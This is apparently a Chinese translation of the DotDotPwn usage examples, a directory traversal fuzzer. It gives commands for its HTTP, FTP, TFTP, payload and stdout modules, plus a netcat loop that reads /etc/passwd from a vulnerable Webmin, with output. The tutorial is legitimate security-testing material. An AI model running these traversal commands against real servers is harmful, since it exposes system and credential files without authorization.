`

[译]dotdotpwn使用

 
阅读更多
原文地址:https://github.com/wireghoul/dotdotpwn/blob/master/EXAMPLES.txt

= HTTP Module

./dotdotpwn.pl -m http -h 192.168.1.1 -x 8080 -f /etc/hosts -k "localhost" -d 8 -t 200 -s

遍历引擎将会用8层深度来创建fuzz模式字符串,然后dotdotpwn会每个5秒(-t)来发送一个请求到一个监听在8080(-x)端口的web服务器(-m),该服务器的IP是192.168.1.1(-h)。除此以外,它将会尝试获得/etc/hosts文件来避免过滤,通过查找服务器响应中的localhost关键字(-k)来进行额外的检查,如果找到,那么认为含有漏洞。同时,获取web服务器的旗标(-s)。dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

./dotdotpwn.pl -m http -h 192.168.1.1 -O -X -M POST -e .php -E

DotDotPwn会尝试发现操作系统(-O),一旦发现,遍历引擎将会根据操作系统来创建fuzz模式。然后所有的http请求将会调整到指定的方法(-M POST)。在每个fuzz请求的结尾,将会追加.php后缀(-e)。-E告诉DotDotPwn寻找定义在TraversaEngine.pm文件中的@Extra_files(默认为config.inc.php和web.config)最后我们开启Bisection算法(-X)来发现额外的深度漏洞,所以如果发现一个漏洞,这个算法将尝试使用最小的深度来发现漏洞。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= HTTP URL Module
真实案例http://www.securityfocus.com/bid/18744

./dotdotpwn.pl -m http-url -u http://192.168.1.1:10000/unauthenticated/TRAVERSAL -O -k "root:" -r webmin.txt


DotDotPwn将会尝试发现运行在192.168.1.1的操作系统(-O),一旦发现,遍历引擎将会根据发现的操作系统来创建fuzz模式。然后引擎将会用创建的遍历模式替换url(-u)中的TRAVERSAL,然后向服务器的10000端口发送请求。最后为了避免过滤,检查服务器响应的额外关键字"root:",如果发现则存在漏洞。如果获取的文件是/etc/passwd,那么可以基本确定"root:"关键字肯定在文件的开头。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= FTP Module

./dotdotpwn.pl -m ftp -h 192.168.1.1 -s -U nitr0us -P n1tr0u5pwnzj00 -o windows -q -r ftp_server.txt

首先DotDotPwn将会尝试获取ftp服务器(-m)的旗标(-s),然后将会如果服务器不支持匿名登录,那么尝试使用指定的username(-U)和password(-P)来登录服务器。
一旦通过认证,它将会获取Windows系统(-o)中常见文件,并保存在retrieved_files指定的位置。同样,DotDotPwn不会输出每次尝试的详细细节,相反
它只会输出每个发现的遍历模式。
DotDotPwn会把结果保存在报告文件夹中的ftp_server.txt(-r)文件中

= TFTP Module

./dotdotpwn.pl -m tftp -h 192.168.1.1 -b -t 1 -f windows/system32/drivers/etc/hosts

DotDotPwn会每隔一毫秒发送遍历模式到192.168.1.1(-h)的TFTP服务器(-m),也就是说尽可能的快速。然后当它发现一个漏洞时立即停止fuzz测试(-b)。
fuzz测试将会针对windows/system32/drivers/etc/hosts(-f)这个文件。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= PAYLOAD Module

真实案例 http://www.securityfocus.com/bid/18744
./dotdotpwn.pl -m payload -h 192.168.1.1 -x 10000 -p payload_sample_1.txt -k "root:" -f /etc/passwd


引用
payload_sample_1.txt (also included in this folder):
GET /unauthenticated/TRAVERSAL HTTP/1.0



遍历引擎将会用遍历模式替换payload文件(-p)中的TRAVERSAL,然后发送fuzzpayload到tcp监听10000端口(-x)的服务器(本例中我们假设它是Webmin)。
它的ip是192.168.1.1(-h)。最后DotDotPwn将会查找服务器响应中的"root:"关键字(-k),如果出现,则认为有漏洞。
如果要获得的文件是/etc/passwd (-f),那么基本可以肯定"root:"关键字会出现在文件的开头。
dotdotpwn会把结果保存在报告文件夹中的192.168.1.1_<date>_<hour>文件里。

= STDOUT Module

./dotdotpwn.pl -m stdout -d 5

遍历引擎将会创建深度为8的fuzz模式,DotDotPwn将会把结果输出到STDOUT中,所以你可以随意使用,把遍历模式作为参数传递给其他程序,管道,socket等。
所以,你可以模块测试一切。包括客户端软件,文件格式fuzz,等等等等。

例如在你的脚步中使用STDOUT模块
-把fuzz模式作为参数传递给/bin/file和lynx
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 4 -f /etc/passwd); do file $fuzz_pattern; done
../etc/passwd: cannot open `../etc/passwd' (No such file or directory)
../../etc/passwd: cannot open `../../etc/passwd' (No such file or directory)
../../../etc/passwd: ASCII text
../../../../etc/passwd: ASCII text
..\etc\passwd: cannot open `..\etc\passwd' (No such file or directory)
..\..\etc\passwd: cannot open `..\..\etc\passwd' (No such file or directory)
..\..\..\etc\passwd: cannot open `..\..\..\etc\passwd' (No such file or directory)
... and so on..

nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 2 -f /etc/foobar | head -12); do lynx $fuzz_pattern; done
Can't Access `file://localhost/home/nitr0us/etc/foobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\etc\foobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..\..\etc\foobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2fetc%2ffoobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%2f..%2fetc%2ffoobar'
Alert!: Unable to access document.

Can't Access `file://localhost/home/nitr0us/dotdotpwn-v3.0/..%5cetc%5cfoobar'
Alert!: Unable to access document.

一个使用模块的真实例子
http://www.securityfocus.com/bid/18744
首先把每个fuzz模式传递给perl来创建请求,然后通过管道,由netcat接收作为STDIN然后发送给192.168.1.1的10000端口。这样可以看到Webmin的响应(HTML代码)
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done


然后过滤"root:"关键字,将会发现是否存在文件夹遍历漏洞
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ for fuzz_pattern in $(./dotdotpwn.pl -m stdout -d 5 -f /etc/passwd); do perl -e " print \"GET /unauthenticated/$fuzz_pattern HTTP/1.0\r\n\r\n\";" | nc localhost 10000; done | grep "root:"

root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
nitr0us@daiquiri ~/dotdotpwn-v3.0 $ VULNERABLE !!!!!!!!!!!!!!!!!!!!!!!!!
分享到:
评论

相关推荐

    dotdotpwn:DotDotPwn-目录遍历模糊器

    dotdotpwn:DotDotPwn-目录遍历模糊器

    pyzmq-25.1.1b2-cp312-cp312-win_amd64.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    wireshark安装教程入门.md

    附件是wireshark安装教程,文件绿色安全,请大家放心下载,仅供交流学习使用,无任何商业目的!

    grpcio-1.3.0-cp36-cp36m-win_amd64.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    Werkzeug-0.12.1.tar.gz

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    Delphi 12控件之FMSoft-UniGUI-1.90.0.1567-Downloadly.ir.rar

    FMSoft_UniGUI_1.90.0.1567_Downloadly.ir.rar

    基于Selenium的Java爬虫实战(内含谷歌浏览器Chrom和Chromedriver版本121.0.6111.0)

    资源包括: 1.Java爬虫实战代码 2.selenium学习笔记 3.代码演示视频 4.谷歌浏览器chrom121.0.6111.0 chrome-linux64.zip chrome-mac-arm64.zip chrome-mac-x64.zip chrome-win32.zip chrome-win64.zip 5.谷歌浏览器驱动器Chromedriver121.0.6111.0 chromedriver-linux64.zip chromedriver-mac-arm64.zip chromedriver-mac-x64.zip chromedriver-win32.zip chromedriver-win64.zip 特别说明:Chrome 为测试版(不会自动更新) 仅适用于自动测试。若要进行常规浏览,请使用可自动更新的标准版 Chrome。)

    UIFramework框架

    UIFramework框架

    aiohttp-3.8.0-cp39-cp39-musllinux_1_1_i686.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    数学软件 Matlab- 文件操作

    文件的打开与关闭 文本文件的写与读 二进制文件的写与读

    wireshark安装教程入门

    wireshark安装教程入门

    一个用C语言实现功能丰富但简单的有限状态机(FSM)。.zip

    一个用C语言实现功能丰富但简单的有限状态机(FSM)。

    protobuf-3.9.1-cp37-cp37m-manylinux1_x86_64.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    asp.net电子书城系统设计与实现(源码)

    随着Internet技术的发展,人们的日常生活已经离不开网络。未来社会人们的生活和工作将越来越依赖于数字技术的发展,越来越数字化、网络化、电子化、虚拟化。Internet的发展历程以及目前的应用状况和发展趋势,可以充分地相信网络技术将极大的改变我们的生活和工作方式,甚至社会的价值观也会发生某种变化。 本设计尝试用ASP.NET在网络上架构一个电子书城,以使每一位顾客不用出门在家里就能够通过上网来轻松购书。本文从理论和实践两个角度出发,对一个具有数据挖掘功能电子书城进行设计与实现分析。论文首先较为详尽地介绍了面向对象分析与设计的有关概念与技术,特别深入介绍了在本系统中运用到的知识,如:面向对象的分析设计流程;系统中所用到的开发技术ASP.NET以及ADO.NET的特点、结构框架以及使用方法。接着对书店系统的可行性进行了分析,然后对系统的设计思想、设计目标与系统的整体结构进行了明确的规划。最后对系统的主要页面、数据库、应用程序的设计与实现作了较为详细的讲解。

    pyzmq-22.0.1-cp38-cp38-manylinux2010_i686.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    pyzmq-22.0.2-cp36-cp36m-win_amd64.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

    Python:用海龟turtle绘制正金字塔和反金字塔

    用海龟的 turtle . stamp ()和 turtle . goto ( x . y )完成图形绘制正金字塔和反金字塔的形状

    数据结构--栈 的C语言实现.zip

    数据结构--栈 的C语言实现

    基于python+机器学习的急性心肌梗死死亡风险预测(准确率达95%以上)+源码+文档(毕业设计&课程设计&项目开发)

    基于python+机器学习的急性心肌梗死死亡风险预测(准确率达95%以上)+源码+文档,适合毕业设计、课程设计、项目开发。项目源码已经过严格测试,可以放心参考并在此基础上延申使用~ 项目简介: 用MIMIC数据库的数据作为训练集的死亡率预测,用于预测 当年本科水毕设的灌水项目,实际上没卵用。因为这个MIMIC数据库里面的东西,都是一些离散的检查指标(每天一次或者几小时一次),然后跟心肌梗死有关的都是些血压之类的东西。,而病人都重症监护了,一般会有心电监护仪之类的东西,然后直接看心电图,准确率可以轻易达到95%以上。或者去做彩超和冠脉造影直接拿着片子找医生会诊。 其他一些像肾衰竭等疾病的预测还有一点意义。

    protobuf-3.7.0-cp36-cp36m-manylinux1_x86_64.whl

    Python库是一组预先编写的代码模块,旨在帮助开发者实现特定的编程任务,无需从零开始编写代码。这些库可以包括各种功能,如数学运算、文件操作、数据分析和网络编程等。Python社区提供了大量的第三方库,如NumPy、Pandas和Requests,极大地丰富了Python的应用领域,从数据科学到Web开发。Python库的丰富性是Python成为最受欢迎的编程语言之一的关键原因之一。这些库不仅为初学者提供了快速入门的途径,而且为经验丰富的开发者提供了强大的工具,以高效率、高质量地完成复杂任务。例如,Matplotlib和Seaborn库在数据可视化领域内非常受欢迎,它们提供了广泛的工具和技术,可以创建高度定制化的图表和图形,帮助数据科学家和分析师在数据探索和结果展示中更有效地传达信息。

Global site tag (gtag.js) - Google Analytics